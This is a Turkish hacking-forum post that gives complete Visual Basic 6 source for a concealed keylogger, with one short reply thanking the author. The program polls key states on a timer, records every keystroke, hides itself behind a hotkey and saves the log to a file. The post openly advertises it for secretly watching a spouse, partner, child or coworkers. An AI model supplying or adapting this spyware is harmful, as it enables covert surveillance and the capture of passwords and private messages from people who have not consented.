VİSUAL BASİC – KLAVYEYE BASILAN TUŞLARI GÖSTERME


Visual Basic ve .NET Framework    Visual Basic ve .NET Framework İle İlgili Paylaşım Kategorisi

Yazar: NickBeLiRSiZZ    1 Yorum    162 Görüntüleme
  • 0 Oy - 0 Yüzde

Paylaşım Tarihi: 31.01.2016, 01:14:03 #1
NickBeLiRSiZZ Old Mod.
Onaylı Uye
Status: Çevrimdışı Yorum Sayısı:296 Konu Sayısı:48 Üyelik Tarihi:12.01.2016 Rep Puanı: 21

Ne işe Yarar?
 
– Eşiniz, Sevgiliniz, Kocanız ,Çocugunuz Bilgisayarda Ne Yapıyor Hangi Oyunları oynuyor Nereleri Ziyaret Ediyor.
-işyerindeki Pcnizi İzinsiz Ziyaret Edenlermi Var?
Ve Mantıklı kulandıgınız Taktirde Bir Çok İşi Yarayabilecekbir Program Olacak Diyebilirim
Başlayalım Ozaman

Başlayalım Ozaman


———————————————————————–

İlk Önce Formumuza Bir Textbox ‘Multiline True Olacak
Sonra Timer Ekleyelim ‘Interval = 50 olsun
Ve Birde Commondialog Ekleyin ‘ Adını Cmd1 Yapın

Menü Oluşturun
Caption – Name
Aç – ac
Kaydet – ky
Gizle – gzle
Temizle – tmz
Kısayol Tuşlar – ksyı
Çıkış – cks


İmage

Kısayol Tuşları =
Ctrl + Alt + P Gizle
Ctrl + Alt + G Göster


Ve Kodlar:



Kod:
Option Explicit 'Hiç Declare edilmemiş değişken varmı diye kontrol etmesi için kod
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'İlk Önce Apiyi Declare Ettik Hangi Tuşa Bastığımızı Anlaması İçin

Private Sub ac_Click() ' Aç Menüsü
Dim yazı As String 'Yazı yı String Yaptık
Dim x As String 'X De String
On Error GoTo hatabulundu ' Hata Olduğunda Hatabulundu Etiketine Git
x = MsgBox("Kaydetmek İstermisiniz?", vbInformation + vbYesNo, "Çıkış") 'Kaydetmek İstediğini Sor
If x = vbYes Then 'Eğer Cevap Evet İse
ky_Click 'Kaydet Menüsüne Tıkla
Else 'Değilse
Text1.Text = "" 'Text1in İçindekini Sil
Cmd1.Filter = "Yazı Dosyası (*.txt)|*.txt" 'Dosyaları Filtrele Sadece txt Dosyası
Cmd1.FilterIndex = 0 '1.Filtreyi Seç
Cmd1.ShowOpen 'Aç
Open Cmd1.FileName For Input As #1 'Cmd deki İsimli dosyayı Aç
Do Until EOF(1) 'Satır 1 Olana Kadar Tekrarla
Input #1, yazı 'Ve Hersatırdaki Yazıyı Yazı değişkenine ata
Text1.Text = Text1.Text + yazı + vbCrLf 've onuda texte ata
Loop 'Döngüyü Bitir
Close #1 'Kapat
End If
Exit Sub
hatabulundu: 'Etiket
MsgBox "Hata!Hata Adı : " & Err.Description, vbCritical, "Hata!" 'Hata Ver
End Sub

Private Sub cks_Click() 'Çıkış Menüsü
Dim x As String
x = MsgBox("Kaydetmek İstermisiniz?", vbInformation + vbYesNo, "Çıkış") 'Kaydetmek İstiyormusunuz Diye Sor
If x = vbYes Then 'Cevap Evet İse
ky_Click 'Kaydet Menüsüne Tıkla
Else 'Değilse
End 'Çık
End If
End Sub

Private Sub Form_Resize() 'Form Boyutlandırıldığında
Text1.Left = 0 'Text1in left i 0
Text1.Top = 0 'Topda 0 Yani Başta
Text1.Width = Me.ScaleWidth 'Uzunluğu Formun Uzunlğuna Eşitle
Text1.Height = Me.ScaleHeight 'Genişliğide
End Sub

Private Sub gzle_Click() 'Gizleye Tıkladığında
Me.Hide 'Formu Gizle
End Sub

Private Sub ksy_Click() 'Kısayol Tuşlarına Tıklandığında
MsgBox "Ctrl + Alt + P = Gizle" & vbCrLf & "Ctrl + Alt + G = Göster", vbInformation, "Kısayol Tuşları" 'Kısayol Tuşlarını Yaz
End Sub

Private Sub ky_Click()
On Error GoTo hatabulundu 'Hata Olunca hatabulundu etiketine git
Cmd1.Filter = "Yazı Dosyası (*.txt)|*.txt" 'Filtrele
Cmd1.FilterIndex = 0 'İlk i Seç
Cmd1.ShowSave 'Kaydet
Open Cmd1.FileName For Output As #1 'O isimli bir dosya oluştur
Print #1, Text1.Text 'İçine text1 dekileri yaz
Close #1 'Kapat
Exit Sub
hatabulundu: 'Etiket
MsgBox "Hata!Hata Adı : " & Err.Description, vbCritical, "Hata!"
End Sub

Private Sub Timer1_Timer()
Dim i As Long
If GetAsyncKeyState(17) And GetAsyncKeyState(18) And GetAsyncKeyState(71) Then Me.Show
If GetAsyncKeyState(17) And GetAsyncKeyState(18) And GetAsyncKeyState(80) Then Me.Hide
'Ctrl Alt G Ye Bastığında göster Ctrl Alt P Ye Bastığında Gizle
For i = 5 To 200 'İ yi 5 den 200e kadar tekrarla
If GetAsyncKeyState(i) <> 0 Then 'Basılan tuşun kodu 5 ile 200 arasında ise
Text1.Text = Text1.Text & Chr(i) 'Basılan tuşu Texte Yaz
End If
Next
End Sub

Private Sub tmz_Click() 'Temizleye Tıkladığında
Text1.Text = "" 'Textdeki Yazıları Sil
End Sub


İmage

Kullanıcı İmzası
''İnsan Yükselince Kendini Bişi Zanneder''

-Adolf Hitler.


                    

[img=0x450]https://media.giphy.com/media/MrYqi6NBoMGbe/giphy.gif[/img]

mediavenus

Paylaşım Tarihi: 31.01.2016, 17:16:16 #2
lengen3232 Yeğen
Onaylı Uye
Status: Çevrimdışı Yorum Sayısı:33 Konu Sayısı:3 Üyelik Tarihi:17.12.2015 Rep Puanı: 1

Sağol kardşeim çok yaralı oldu Smile

Kullanıcı İmzası
Hile Yapmak Suç Değil Yaşam Tarzıdır!
İmage

                           










Aradığınızı Bulamadınız Mı ?

Konuyu görüntüleyenler:
1 Misafir